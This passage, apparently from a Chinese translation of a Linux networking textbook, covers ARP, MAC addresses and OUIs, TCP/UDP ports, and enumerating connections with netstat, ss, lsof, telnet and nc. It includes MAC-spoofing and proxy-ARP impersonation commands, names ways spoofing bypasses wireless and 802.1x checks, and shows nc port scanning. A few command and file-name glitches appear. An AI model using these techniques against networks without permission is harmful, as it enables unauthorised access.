请注意,每个网络适配器都有一个默认值(以秒为单位),这些值通常是匹配的。这对您来说可能看起来很短-交换机上的匹配 MAC 地址表(通常称为 CAM 表)通常为 5 分钟,路由器上的 ARP 表通常为 14,400 秒(4 小时)。这些值都与资源有关。总的来说,工作站有资源频繁发送 ARP 数据包。交换机从流量中(包括 ARP 请求和响应)学习 MAC 地址,因此使得该计时器略长于工作站计时器是有意义的。同样,路由器上的长时间 ARP 缓存计时器可以节省其 CPU 和 NIC 资源。路由器上的计时器之所以如此之长,是因为在过去的几年里,与网络上的其他所有设备相比,路由器受到带宽和 CPU 的限制。尽管在现代时代已经发生了变化,但路由器上 ARP 缓存超时的长默认值仍然存在。在路由器或防火墙迁移期间很容易忘记这一点-我参与了许多此类维护窗口,在迁移后,对正确路由器的clear arp命令神奇地“修复了一切”。

我们还没有讨论 Linux 中的/proc目录-这是一个包含 Linux 主机上各种设置和状态的当前文件的“虚拟”目录。这些不是“真实”的文件,但它们被表示为文件,因此我们可以使用与文件相同的命令:catgrepcutsortawk等。例如,您可以查看网络接口错误和值,例如在/proc/net/dev中(请注意此列表中的事物并不完全正确对齐)。

$ cat /proc/net/dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo:  208116    2234    0    0    0     0          0          0   208116    2234    0    0    0     0       0          0
 ens33: 255945718  383290    0  662    0     0          0         0 12013178  118882    0    0    0     0       0          0

您甚至可以查看内存统计信息(请注意meminfo包含更多信息):

$ cat /proc/meminfo | grep Mem
MemTotal:        8026592 kB
MemFree:         3973124 kB
MemAvailable:    6171664 kB

回到 ARP 和 MAC 地址。您可以添加静态 MAC 地址-一个不会过期且可能与您要连接的主机的真实 MAC 不同的地址。这通常是为了故障排除目的。或者您可以清除 ARP 条目,如果路由器已被替换(例如,如果您的默认网关路由器具有相同的 IP 但现在具有不同的 MAC),则您可能经常需要执行此操作。请注意,您无需特殊权限即可查看 ARP 表,但您确实需要修改它!

要添加静态条目,请执行以下操作(请注意在显示时的PERM状态)。

$ sudo arp -s 192.168.122.200 00:11:22:22:33:33
$ arp -a | grep 192.168.122.200
? (192.168.122.200) at 00:11:22:22:33:33 [ether] PERM on ens33

要删除 ARP 条目,请执行以下操作(请注意,对于此命令,通常会跳过-i interfacename参数)。

$ sudo arp –i ens33 -d 192.168.122.200

要伪装成给定的 IP 地址-例如,回答 IP10.0.0.1的 ARP 请求-请执行以下操作:

$ sudo arp -i eth0 -Ds 10.0.0.2 eth1 pub

最后,您还可以轻松更改接口的 MAC 地址。您可能会认为这是为了处理重复的地址,但这种情况非常罕见。

更改 MAC 地址的合法原因可能包括以下内容:

  • 您已迁移防火墙,而 ISP 已经将您的 MAC 硬编码。

  • 您已迁移主机或主机 NIC,并且上游路由器对您不可访问,但您不能等待该路由器上的 ARP 缓存过期 4 小时。

  • 您已迁移主机,并且旧 MAC 地址有 DHCP 保留,但您无法访问“修复”该 DHCP 条目。

  • 出于隐私原因,苹果设备会更改其无线 MAC 地址。鉴于追踪个人身份的许多其他(更容易的)方法,这种保护通常并不那么有效。

更改 MAC 地址的恶意原因包括以下内容:

  • 您正在攻击无线网络,并且已经发现一旦经过身份验证,接入点所做的唯一检查就是对客户端 MAC 地址。

  • 与前一点相同,但针对使用802.1x认证的以太网网络,但配置不安全或不完整(我们将在后面的章节中详细介绍)。

  • 您正在攻击具有 MAC 地址权限的无线网络。

希望这说明了出于安全目的使用 MAC 地址通常不是明智的决定。

要查找您的 MAC 地址,我们有四种不同的方法:

$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1400 qdisc fq_codel state UP mode DEFAULT group default qlen 1000
    link/ether 00:0c:29:33:2d:05 brd ff:ff:ff:ff:ff:ff
$ ip link show ens33 | grep link
    link/ether 00:0c:29:33:2d:05 brd ff:ff:ff:ff:ff:ff
$ ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1400
        inet 192.168.122.22  netmask 255.255.255.0  broadcast 192.168.122.255
        inet6 fe80::1ed6:5b7f:5106:1509  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:33:2d:05  txqueuelen 1000  (Ethernet)
        RX packets 384968  bytes 256118213 (256.1 MB)
        RX errors 0  dropped 671  overruns 0  frame 0
        TX packets 118956  bytes 12022334 (12.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2241  bytes 208705 (208.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2241  bytes 208705 (208.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
$ ifconfig ens33 | grep ether
        ether 00:0c:29:33:2d:05  txqueuelen 1000  (Ethernet)

要更改 Linux 主机的 MAC 地址,我们有几个选项:

在 Linux GUI 中,您可以通过单击顶部面板上的网络图标,然后选择设置来开始。例如,对于具有一个以太网卡的主机,选择“有线连接”,然后选择有线设置

图 3.3 - 从 GUI 更改 MAC 地址,第 1 步

图 3.3 - 从 GUI 更改 MAC 地址,第 1 步

从弹出的界面中,通过单击+图标打开新配置文件对话框,然后在克隆地址字段中简单地添加 MAC:

图 3.4 - 从 GUI 更改 MAC 地址,第 2 步

图 3.4 - 从 GUI 更改 MAC 地址,第 2 步

或者,您可以通过命令行或使用脚本执行以下操作(当然,使用您自己的接口名称和目标 MAC 地址):

$ sudo ip link set dev ens33 down
$ sudo ip link set dev ens33 address 00:88:77:66:55:44
$ sudo ip link set dev ens33 device here> up

还有macchanger软件包,您可以使用它将接口的 MAC 地址更改为目标值或伪随机值。

要进行永久的 MAC 地址更改,您可以使用netplan及其相关的配置文件。首先,备份配置文件/etc/netplan./01-network-manager-all.yaml,然后进行编辑。请注意,要更改 MAC 地址,您需要一个硬件烧入地址BIA)MAC 地址值的match语句,然后在设置新 MAC 的下一行:

network:
    version: 2
    ethernets:
        ens33:
            dhcp4: true
            match:
                macaddress: b6:22:eb:7b:92:44
            macaddress: xx:xx:xx:xx:xx:xx

您可以使用sudo netplan try测试新配置,并使用sudo netplan apply应用它。

或者,您可以创建或编辑/etc/udev/rules.d/75-mac-spoof.rules文件,该文件将在每次启动时执行。添加以下内容:

ACTION=="add", SUBSYSTEM=="net", ATTR{address}=="XX:XX:XX:XX:XX:XX", RUN+="/usr/bin/ip link set dev ens33 address YY:YY:YY:YY:YY:YY"

掌握了 ARP 中 MAC 地址使用的基础知识后,让我们深入了解 MAC 地址及其与各种网络适配器制造商的关系。

MAC 地址 OUI 值

所以现在我们已经讨论了超时和 ARP,我们是否已经了解了关于第 2 层和 MAC 地址的所有内容?还不完全 - 让我们谈谈组织唯一标识符OUI)值。如果您还记得我们关于如何使用子网掩码将 IP 地址分成网络和主机部分的讨论,您会惊讶地知道 MAC 地址中也有类似的分界线!

每个 MAC 地址的前导位应该标识制造商 - 这个值称为 OUI。OUI 已在 IEEE 维护的正式注册表中注册,并发布在standards-oui.ieee.org/oui.txt上。

但是,Wireshark 项目维护了一个更完整的列表,位于gitlab.com/wireshark/wireshark/-/raw/master/manuf

Wireshark 还提供了一个查找 Web 应用程序,用于此列表,网址为www.wireshark.org/tools/oui-lookup.html

通常,MAC 地址被平均分割,前 3 个字节(6 个字符)分配给 OUI,后 3 个字节分配给唯一标识设备。但是,组织可以购买更长的 OUI(费用更低),这使它们可以分配更少的设备地址。

OUI 在网络故障排除中是有价值的工具 - 当问题出现或未知站点出现在网络上时,OUI 值可以帮助识别这些罪犯。我们将在本章后面讨论网络扫描仪(特别是 Nmap)时,看到 OUI 稍后会出现。

如果您需要 Linux 或 Windows 的命令行 OUI 解析器,我在github.com/robvandenbrink/ouilookup上发布了一个。

这结束了我们在 OSI 模型的第 2 层中的第一次冒险,以及我们对其与第 3 层的关系的考察,所以让我们进入更高的层次,进入第 4 层,看看 TCP 和 UDP 协议及其相关服务。

第 4 层 - TCP 和 UDP 端口的工作原理

传输控制协议(TCP)和用户数据报协议(UDP)通常是我们讨论第 4 层通信时所指的内容,特别是它们如何使用端口的概念。

当一个站点想要使用其 IP 地址与同一子网中的另一个站点进行通信(IP 通常在应用程序或表示层中确定),它将检查其 ARP 缓存,以查看是否有与该 IP 匹配的 MAC 地址。如果没有该 IP 地址的条目,它将向本地广播地址发送 ARP 请求(正如我们在上一节中讨论的那样)。

接下来的步骤是协议(TCP 或 UDP)建立端口到端口的通信。站点选择一个可用的端口,高于1024且低于65535(最大端口值),称为临时端口。然后使用该端口连接到服务器上的固定服务器端口。这些端口的组合,加上每端的 IP 地址和使用的协议(TCP 或 UDP),将始终是唯一的(因为源端口的选择方式),称为元组。这个元组概念是可扩展的,特别是在 NetFlow 配置中,其他值可以被“附加”,例如服务质量(QOS)、区分服务代码点(DSCP)或服务类型(TOS)值、应用程序名称、接口名称和路由信息,如自治系统号(ASNs)、MPLS 或 VLAN 信息以及发送和接收的流量字节。由于这种灵活性,所有其他值都是基于的基本 5 值元组通常被称为5 元组

前 1024 个端口(编号为0-1023)几乎从不用作源端口 - 这些专门被指定为服务器端口,并且需要 root 权限才能使用。1024-49151范围内的端口被指定为“用户端口”,49152-65535被称为动态或私有端口。但是,服务器并不被强制使用低于1024的端口号(例如,几乎每个数据库服务器都使用高于1024的端口号),这只是一个历史惯例,可以追溯到 TCP 和 UDP 正在开发时,所有服务器端口都在1024以下。如果你看看那些追溯到那个时期的服务器,你会看到以下模式,例如:

IANA 维护了正式分配的端口的完整列表,并发布在www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml上。

关于这一点的文档在 RFC6335 中。

实际上,“分配”对于这个列表来说是一个强有力的词。虽然将 Web 服务器放在 TCP 端口53上或将 DNS 服务器放在 UDP 端口80上是愚蠢的,但许多应用程序根本不在这个列表上,因此只需选择一个通常空闲的端口并使用即可。看到供应商选择实际上已分配给其他人的端口,但分配给了一个更隐蔽或不太常用的服务,这并不罕见。因此,在很大程度上,这个列表是一系列强烈的建议,暗示着我们将考虑任何选择一个知名端口用于自己用途的供应商是……可以说是“愚蠢”的。

第 4 层 - TCP 和三次握手

UDP 只需从解析 5 元组开始发送数据。接收应用程序负责接收数据,或者检查应用程序的数据包以验证数据是否按顺序到达并进行任何错误检查。事实上,正是因为 UDP 没有这种额外开销,所以它经常用于诸如 VoIP(IP 电话)和视频流等对时间要求严格的应用程序。在这些类型的应用程序中,如果丢失了一个数据包,通常回溯重试会中断数据流并被最终用户注意到,因此错误在某种程度上被简单地忽略。

然而,TCP 协商了一个序列号,并在对话进行中保持一个序列计数。这使得基于 TCP 的应用程序能够跟踪丢失或损坏的数据包,并在应用程序发送和接收更多数据的同时重试这些数据包。这个初始的协商通常被称为“三次握手”,在图形上看起来像这样:

图 3.5 – TCP 三次握手,建立 TCP 会话

图 3.5 – TCP 三次握手,建立 TCP 会话

工作原理如下:

  1. 第一个数据包来自客户端的临时端口,发送到服务器的(通常是)固定端口。它设置了 SYN(同步)位,并具有随机分配的 SEQ(初始序列)号,本例中为 5432。

  2. 服务器的回复数据包设置了 ACK(确认)位,编号为 5433,并且还设置了 SYN 位,具有自己的随机 SYN 值,本例中为 6543。此数据包可能已经包含了握手信息以外的数据(所有后续数据包可能都包含数据)。

  3. 第三个数据包是对服务器的第一个 SYN 的 ACK,编号为 6544。

  4. 接下来,所有的数据包都是发送给对方的 ACK 数据包,以便每个数据包都有一个唯一的序列号和一个方向。

技术上,数据包 2 可以是两个单独的数据包,但通常它们被合并成一个数据包。

对话的优雅结束方式与此完全相同。结束对话的一方发送一个 FIN,另一方回复一个 FIN-ACK,得到第一方的 ACK,然后结束。

对话的不优雅结束通常是由一个 RST(重置)数据包发起的——一旦发送了 RST,一切就结束了,另一方不应该对此发送回复。

我们将在本章后面以及整本书中都会使用这些主题。所以如果你对此还有疑惑,再读一遍,特别是前面的图表,直到你觉得没问题为止。

现在我们对 TCP 和 UDP 端口如何连接以及为什么应用程序可能使用其中之一有了一些了解,让我们来看看您主机上的应用程序如何在各种端口上“监听”。

本地端口枚举——我连接到什么?我在监听什么?

在网络中,许多基本的故障排除步骤都在通信链的一端或另一端——即在客户端或服务器主机上。例如,如果无法访问网页服务器,当然有必要查看网页服务器进程是否正在运行,并且是否在适当的端口上“监听”客户端请求。

netstat命令是评估本地主机上网络对话和服务状态的传统方法。要列出所有监听端口和连接,请使用以下选项:

所有五个参数如下所示:

$ netstat –tuan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 192.168.122.22:34586    13.33.160.88:443        TIME_WAIT
tcp        0      0 192.168.122.22:60862    13.33.160.97:443        TIME_WAIT
tcp        0      0 192.168.122.22:48468    35.162.157.58:443       ESTABLISHED
tcp        0      0 192.168.122.22:60854    13.33.160.97:443        TIME_WAIT
tcp        0      0 192.168.122.22:50826    72.21.91.29:80          ESTABLISHED
tcp        0      0 192.168.122.22:22       192.168.122.201:3310    ESTABLISHED
tcp        0      0 192.168.122.22:60860    13.33.160.97:443        TIME_WAIT
tcp        0      0 192.168.122.22:34594    13.33.160.88:443        TIME_WAIT
tcp        0      0 192.168.122.22:42502    44.227.121.122:443      ESTABLISHED
tcp        0      0 192.168.122.22:34596    13.33.160.88:443        TIME_WAIT
tcp        0      0 192.168.122.22:34588    13.33.160.88:443        TIME_WAIT
tcp        0      0 192.168.122.22:46292    35.244.181.201:443      ESTABLISHED
tcp        0      0 192.168.122.22:47902    192.168.122.1:22        ESTABLISHED
tcp        0      0 192.168.122.22:34592    13.33.160.88:443        TIME_WAIT
tcp        0      0 192.168.122.22:34590    13.33.160.88:443        TIME_WAIT
tcp        0      0 192.168.122.22:60858    13.33.160.97:443        TIME_WAIT
tcp        0      0 192.168.122.22:60852    13.33.160.97:443        TIME_WAIT
tcp        0      0 192.168.122.22:60856    13.33.160.97:443        TIME_WAIT
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
udp        0      0 127.0.0.53:53           0.0.0.0:*
udp        0      0 0.0.0.0:49345           0.0.0.0:*
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::34878                :::*
$

注意不同的状态(您可以在netstatman页面中查看所有这些状态,使用man netstat命令)。您将看到的最常见的状态列在下表中。如果对任何一种状态的描述感到困惑,您可以跳到接下来的几页,使用图表(图 3.6 和 3.7)来解决这个问题:

以下表格显示了较少见的状态(主要是因为这些状态通常只持续很短的时间)。如果您一直看到这些状态中的任何一个,您可能需要解决问题:

这些状态与我们刚讨论的握手有什么关系?让我们把它们放在一个图表中 - 再次注意,大多数情况下,中间步骤应该只存在很短的时间。如果您看到SYN_SENTSYN_RECVD状态持续时间超过几毫秒,您可能需要进行一些故障排除:

图 3.6 - TCP 会话在建立过程中的各个状态

图 3.6 - TCP 会话在建立过程中的各个状态

当拆除 TCP 会话时,您会看到类似的状态。再次注意,许多中间状态应该只持续很短的时间。编写不良的应用程序通常无法正确拆除会话,因此在这种情况下,您可能会看到CLOSE WAIT等状态。另一种拆除会话不良的情况是当路径中的防火墙定义了最大 TCP 会话长度。通常情况下,此设置用于处理无法正确关闭或甚至根本不关闭的编写不良的应用程序。然而,最大会话计时器也可能干扰长时间运行的会话,例如旧式备份作业。如果您遇到这种情况,长时间运行的会话无法恢复良好(例如备份作业出错而不是恢复会话),则可能需要与防火墙管理员合作,以增加此计时器,或者与备份管理员合作,考虑使用更现代的备份软件(例如具有多个并行 TCP 会话和更好的错误恢复):

图 3.7 - TCP 会话在各个点被"拆除"时的状态

图 3.7 - TCP 会话在各个点被"拆除"时的状态

请注意,在会话初始化时,我们没有两个状态来区分从服务器返回的SYNACK - 关闭会话涉及的状态比建立会话时涉及的状态要多得多。还要注意的是,数据包在几分之一秒内就会传输,所以如果您在netstat显示中看到任何 TCP 会话不是ESTABLISHEDLISTENINGTIME-WAIT或(较少见的)CLOSED,那么就有些异常。

为了将监听端口与其背后的服务联系起来,我们将使用l(用于监听)而不是a,并添加p选项以获取程序:

$ sudo netstat -tulpn
[sudo] password for robv:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      666/systemd-resolve
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      811/sshd: /usr/sbin
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      4147/cupsd
tcp6       0      0 :::22                   :::*                    LISTEN      811/sshd: /usr/sbin
tcp6       0      0 ::1:631                 :::*                    LISTEN      4147/cupsd
udp        0      0 127.0.0.53:53           0.0.0.0:*                           666/systemd-resolve
udp        0      0 0.0.0.0:49345           0.0.0.0:*                           715/avahi-daemon: r
udp        0      0 0.0.0.0:631             0.0.0.0:*                           4149/cups-browsed
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           715/avahi-daemon: r
udp6       0      0 :::5353                 :::*                                715/avahi-daemon: r
udp6       0      0 :::34878                :::*                                715/avahi-daemon: r

有没有netstat的替代方案?当然,有很多。

例如,ss几乎具有相同的功能。在下表中,您可以看到我们要求的内容:

让我们通过添加p选项来添加进程信息:

$ sudo ss -tuap
Netid      State          Recv-Q      Send-Q              Local Address:Port                  Peer Address:Port       Process
udp        UNCONN         0           0                   127.0.0.53%lo:domain                     0.0.0.0:*           users:(("systemd-resolve",pid=666,fd=12))
udp        UNCONN         0           0                         0.0.0.0:49345                      0.0.0.0:*           users:(("avahi-daemon",pid=715,fd=14))
udp        UNCONN         0           0                         0.0.0.0:631                        0.0.0.0:*           users:(("cups-browsed",pid=4149,fd=7))
udp        UNCONN         0           0                         0.0.0.0:mdns                       0.0.0.0:*           users:(("avahi-daemon",pid=715,fd=12))
udp        UNCONN         0           0                            [::]:mdns                          [::]:*           users:(("avahi-daemon",pid=715,fd=13))
udp        UNCONN         0           0                            [::]:34878                         [::]:*           users:(("avahi-daemon",pid=715,fd=15))
tcp        LISTEN         0           4096                127.0.0.53%lo:domain                     0.0.0.0:*           users:(("systemd-resolve",pid=666,fd=13))
tcp        LISTEN         0           128                       0.0.0.0:ssh                        0.0.0.0:*           users:(("sshd",pid=811,fd=3))
tcp        LISTEN         0           5                       127.0.0.1:ipp                        0.0.0.0:*           users:(("cupsd",pid=4147,fd=7))
tcp        ESTAB          0           64                 192.168.122.22:ssh                192.168.122.201:3310        users:(("sshd",pid=5575,fd=4),("sshd",pid=5483,fd=4))
tcp        ESTAB          0           0                  192.168.122.22:42502               44.227.121.122:https       users:(("firefox",pid=4627,fd=162))
tcp        TIME-WAIT      0           0                  192.168.122.22:46292               35.244.181.201:https      
tcp        ESTAB          0           0                  192.168.122.22:47902                192.168.122.1:ssh         users:(("ssh",pid=5832,fd=3))
tcp        LISTEN         0           128                          [::]:ssh                           [::]:*           users:(("sshd",pid=811,fd=4))
tcp        LISTEN         0           5                           [::1]:ipp                           [::]:*           users:(("cupsd",pid=4147,fd=6))

注意最后一列是如何换行到下一行的?让我们使用cut命令仅选择文本显示中的一些字段。让我们要求列 1、2、4、5 和 6(我们将删除Recv-QSend-Q字段)。我们将使用管道的概念将一个命令的输出传递给下一个命令。

cut命令只有几个选项,通常您会使用d(分隔符)或f(字段编号)。

在我们的情况下,我们的分隔符是空格字符,我们想要字段 1、2、5 和 6。不幸的是,我们的字段之间有多个空格。我们该如何解决?让我们使用tr(translate)命令。通常情况下,tr会将一个单个字符转换为一个不同的字符,例如tr 'a' 'b'将用b替换所有出现的a。但在我们的情况下,我们将使用trs选项,它将把目标字符的多个出现减少到一个。

我们的最终命令集会是什么样子?看看以下内容:

sudo ss -tuap | tr -s ' ' | cut -d ' ' -f 1,2,4,5,6 --output-delimiter=$'\t'

第一个命令与上次使用的ss命令相同。我们将其发送到tr,它将所有重复的空格字符替换为单个空格。cut获取此输出并执行以下操作:“使用空格字符分隔符,只给我字段 1、2、5 和 6,使用制表符字符在我的结果列之间。”

我们的最终结果呢?让我们看看:

sudo ss -tuap | tr -s ' ' | cut -d ' ' -f 1,2,5,6 --output-delimiter=$'\t'
Netid   State   Local   Address:Port
udp     UNCONN  127.0.0.53%lo:domain    0.0.0.0:*
udp     UNCONN  0.0.0.0:49345   0.0.0.0:*
udp     UNCONN  0.0.0.0:631     0.0.0.0:*
udp     UNCONN  0.0.0.0:mdns    0.0.0.0:*
udp     UNCONN  [::]:mdns       [::]:*
udp     UNCONN  [::]:34878      [::]:*
tcp     LISTEN  127.0.0.53%lo:domain    0.0.0.0:*
tcp     LISTEN  0.0.0.0:ssh     0.0.0.0:*
tcp     LISTEN  127.0.0.1:ipp   0.0.0.0:*
tcp     ESTAB   192.168.122.22:ssh      192.168.122.201:3310
tcp     ESTAB   192.168.122.22:42502    44.227.121.122:https
tcp     ESTAB   192.168.122.22:47902    192.168.122.1:ssh
tcp     LISTEN  [::]:ssh        [::]:*
tcp     LISTEN  [::1]:ipp       [::]:*

使用制表符作为分隔符给我们更好的机会让结果列对齐。如果这是一个更大的列表,我们可能会将整个输出发送到一个.tsv(缩写为制表符分隔变量)文件中,这可以直接被大多数电子表格应用程序读取。这将使用一种称为重定向的管道变体来完成。

在这个例子中,我们将使用>运算符将整个输出发送到一个名为ports.csv的文件中,然后使用cat(连接)命令来查看文件内容:

$ sudo ss -tuap | tr -s ' ' | cut -d ' ' -f 1,2,5,6 --output-delimiter=$'\t' > ports.tsv
$ cat ports.out
Netid   State   Local   Address:Port
udp     UNCONN  127.0.0.53%lo:domain    0.0.0.0:*
udp     UNCONN  0.0.0.0:49345   0.0.0.0:*
udp     UNCONN  0.0.0.0:631     0.0.0.0:*
udp     UNCONN  0.0.0.0:mdns    0.0.0.0:*
udp     UNCONN  [::]:mdns       [::]:*
udp     UNCONN  [::]:34878      [::]:*
tcp     LISTEN  127.0.0.53%lo:domain    0.0.0.0:*
tcp     LISTEN  0.0.0.0:ssh     0.0.0.0:*
tcp     LISTEN  127.0.0.1:ipp   0.0.0.0:*
tcp     ESTAB   192.168.122.22:ssh      192.168.122.201:3310
tcp     ESTAB   192.168.122.22:42502    44.227.121.122:https
tcp     ESTAB   192.168.122.22:47902    192.168.122.1:ssh
tcp     LISTEN  [::]:ssh        [::]:*
tcp     LISTEN  [::1]:ipp       [::]:*

最后,有一个特殊的命令叫做tee,它可以将输出发送到两个不同的位置。在这种情况下,我们将其发送到ports.out文件和特殊的STDOUT(标准输出)文件,这基本上意味着“将其输入回我的终端会话中”。为了好玩,让我们使用grep命令只选择已建立的会话:

$ sudo ss -tuap | tr -s ' ' | cut -d ' ' -f 1,2,5,6 --output-delimiter=$'\t' | grep "EST" | tee ports.out
tcp     ESTAB   192.168.122.22:ssh      192.168.122.201:3310
tcp     ESTAB   192.168.122.22:42502    44.227.121.122:https
tcp     ESTAB   192.168.122.22:47902    192.168.122.1:ssh

想要查看一些关于 TCP 对话的更详细的统计信息吗?使用t代表 TCP,o代表选项:

$ sudo ss –to
State    Recv-Q    Send-Q        Local Address:Port            Peer Address:Port     Process
ESTAB    0         64           192.168.122.22:ssh          192.168.122.201:3310      timer:(on,240ms,0)
ESTAB    0         0            192.168.122.22:42502         44.227.121.122:https     timer:(keepalive,6min47sec,0)
ESTAB    0         0            192.168.122.22:47902          192.168.122.1:ssh       timer:(keepalive,104min,0)

这种 TCP 选项显示对于排除可能通过防火墙运行的长期 TCP 会话非常有用。由于内存限制,防火墙会定期清除未正确终止的 TCP 会话。由于它们没有终止,在大多数情况下,防火墙将寻找运行时间超过x分钟的会话(其中x是一个具有默认值并且可以配置的数字)。这种情况经典的错误可能出现在客户端通过防火墙运行备份或传输大文件,可能是备份到云服务或在网络内外传输大文件。如果这些会话超过了超时值,它们当然会在防火墙上被关闭。

在这种情况下,重要的是要看到长时间的 TCP 会话可能持续多久。备份或文件传输可能由几个较短的会话组成,同时并按顺序运行以最大化性能。或者它们可能是一个持续时间与进程一样长的单个传输。这组ss选项可以帮助您了解您的进程在幕后的行为,而无需求助于数据包捕获(不要担心,我们将在本书的后面部分介绍数据包捕获)。

让我们再试一次,查看监听端口并将显示与主机上的监听服务相关联:

$ sudo netstat -tulpn
[sudo] password for robv:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      666/systemd-resolve
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      811/sshd: /usr/sbin
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      4147/cupsd
tcp6       0      0 :::22                   :::*                    LISTEN      811/sshd: /usr/sbin
tcp6       0      0 ::1:631                 :::*                    LISTEN      4147/cupsd
udp        0      0 127.0.0.53:53           0.0.0.0:*                           666/systemd-resolve
udp        0      0 0.0.0.0:49345           0.0.0.0:*                           715/avahi-daemon: r
udp        0      0 0.0.0.0:631             0.0.0.0:*                           4149/cups-browsed
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           715/avahi-daemon: r
udp6       0      0 :::5353                 :::*                                715/avahi-daemon: r
udp6       0      0 :::34878                :::*                                715/avahi-daemon: r

收集这些信息的另一个经典方法是使用lsof(打开文件列表)命令。等一下,我们想要获取网络信息,而不是谁打开了什么文件的列表!这个问题背后缺少的信息是,在 Linux 中,lsof用于枚举 TCP 端口8022上的连接:

$ lsof -i :443
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
firefox 4627 robv  162u  IPv4  93018      0t0  TCP ubuntu:42502->ec2-44-227-121-122.us-west-2.compute.amazonaws.com:https (ESTABLISHED)
$ lsof -i :22
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ssh     5832 robv    3u  IPv4 103832      0t0  TCP ubuntu:47902->_gateway:ssh (ESTABLISHED)

您可以看到相同的信息,以稍微不同的方式表示。这也很方便,因为lsof命令明确显示了每个对话的方向,它是从对话中的初始SYN数据包中获取的(发送第一个SYN数据包的人在任何 TCP 对话中都是客户端)。

为什么我们如此专注于监听端口和进程?一个答案实际上在本章的早些时候已经提到 - 你只能在特定端口上有一个服务监听。这个经典的例子是尝试在 TCP 端口80上启动一个新网站,却不知道已经有一个服务在该端口上监听。在这种情况下,第二个服务或进程将简单地无法启动。

现在我们已经探索了本地监听端口以及它们关联的进程,让我们把注意力转向远程监听端口 - 在其他主机上监听的服务。

使用本机工具进行远程端口枚举

那么现在我们知道如何处理本地服务和一些流量诊断,我们如何枚举远程主机上的监听端口和服务呢?

简单的方法是使用本机工具-例如scp用于 SFTP 服务器,或ftp用于 FTP 服务器。但如果是一些我们没有安装客户端的不同服务怎么办。很简单,telnet命令可以在这种情况下使用-例如,我们可以 telnet 到打印机的管理端口,运行httptcp/80),并对第一页的标题发出GET请求。注意列表底部的垃圾字符-这是该页面上图形的表示方式:

$ telnet 192.168.122.241 80
Trying 192.168.122.241...
Connected to 192.168.122.241.
Escape character is '^]'.
GET / HTTP/1.1
HTTP/1.1 200 OK
Server: HP HTTP Server; HP PageWide 377dw MFP - J9V80A; Serial Number: CN74TGJ0H7; Built: Thu Oct 15, 2020 01:32:45PM {MAVEDWPP1N001.2042B.00}
Content-Encoding: gzip
Content-Type: text/html
Last-Modified: Thu, 15 Oct 2020 13:32:45 GMT
Cache-Control: max-age=0
Set-Cookie: sid=se2b8d8b3-e51eab77388ba2a8f2612c2106b7764a;path=/;HttpOnly;
Content-Security-Policy: default-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src * 'unsafe-inline'; frame-ancestors 'self'
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=edge
X-XXS-Protection: 1
X-Content-Type-Options: nosniff
Content-Language: en
Content-Length: 667
▒▒▒O▒0▒▒▒W▒
           Hs<M▒´M
▒▒▒q.▒[▒▒l▒▒▒▒▒N▒J+▒"▒}s▒szr}?▒▒▒▒▒▒▒[▒<|▒▒:B{▒3v=▒▒▒ɇs▒n▒▒▒▒i ▒▒"1vƦ?X▒▒9o▒▒I▒
                                                                               2▒▒?ȋ▒ ]▒▒▒)▒^▒uF▒F{ԞN75▒)#▒|

即使你不知道要输入什么,通常如果你能用 telnet 连接,那就意味着你尝试的端口是打开的。

然而,这种方法也存在一些问题-如果你不知道要输入什么,这并不是一种确定端口是否打开的万无一失的方法。而且,经常退出会成为一个问题-通常BYEQUITEXIT会起作用,有时按下^cCtrl + C)或^z会起作用,但这两种方法都不是 100%保证。最后,你可能正在查看多个主机或多个端口,或者这可能只是你故障排除的第一步。所有这些因素综合起来,使得这种方法既笨拙又耗时。

作为对此的回答,我们有专门为此目的而构建的端口扫描器工具-nmap(我们将在下一节中介绍)是其中最受欢迎的。但是,如果你没有安装其中一个,nc(netcat)命令就是你的朋友!

让我们用 netcat 扫描我们的示例 HP 打印机:

$ nc -zv 192.168.122.241 80
Connection to 192.168.122.241 80 port [tcp/http] succeeded!
$ nc -zv 192.168.122.241 443
Connection to 192.168.122.241 443 port [tcp/https] succeeded!

或者我们测试前1024个端口怎么样?假设我们使用以下命令:

$ nc -zv 192.168.122.241 1-1024

我们得到了许多错误页面,比如以下内容:

